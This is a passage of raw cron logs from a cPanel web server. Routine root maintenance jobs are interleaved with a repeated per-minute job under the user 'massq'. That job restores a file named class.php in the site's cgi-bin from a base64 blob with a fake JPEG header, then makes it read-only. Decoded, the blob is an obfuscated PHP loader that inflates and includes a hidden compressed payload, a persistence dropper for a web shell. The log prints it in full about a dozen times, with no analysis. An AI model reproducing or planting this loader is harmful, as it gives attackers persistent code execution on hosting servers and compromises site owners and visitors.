AVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:44:01 server CROND[4554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:44:01 server CROND[4553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:44:01 server CROND[4556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:45:01 server CROND[4940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:45:01 server CROND[4941]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:45:01 server CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:45:01 server CROND[4944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:45:01 server CROND[4943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:45:01 server CROND[4945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:45:01 server CROND[4947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:46:01 server CROND[5767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:46:01 server CROND[5769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:46:01 server CROND[5768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:47:01 server CROND[6260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:47:01 server CROND[6262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:47:01 server CROND[6261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:48:01 server CROND[6652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:48:01 server CROND[6653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:48:01 server CROND[6654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:49:01 server CROND[7035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:49:01 server CROND[7036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:49:01 server CROND[7037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:50:01 server CROND[7440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:50:01 server CROND[7455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:50:01 server CROND[7456]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:50:01 server CROND[7470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:50:01 server CROND[7466]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:50:01 server CROND[7471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:50:01 server CROND[7472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:50:01 server CROND[7467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:50:01 server CROND[7468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:51:01 server CROND[8300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:51:01 server CROND[8301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:51:01 server CROND[8302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:52:01 server CROND[8762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:52:01 server CROND[8763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:52:01 server CROND[8764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:53:01 server CROND[9135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:53:01 server CROND[9136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:53:01 server CROND[9137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:54:01 server CROND[9517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:54:01 server CROND[9518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:54:01 server CROND[9519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:55:01 server CROND[9901]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:55:01 server CROND[9907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:55:01 server CROND[9908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:55:01 server CROND[9906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:55:01 server CROND[9909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:55:01 server CROND[9921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
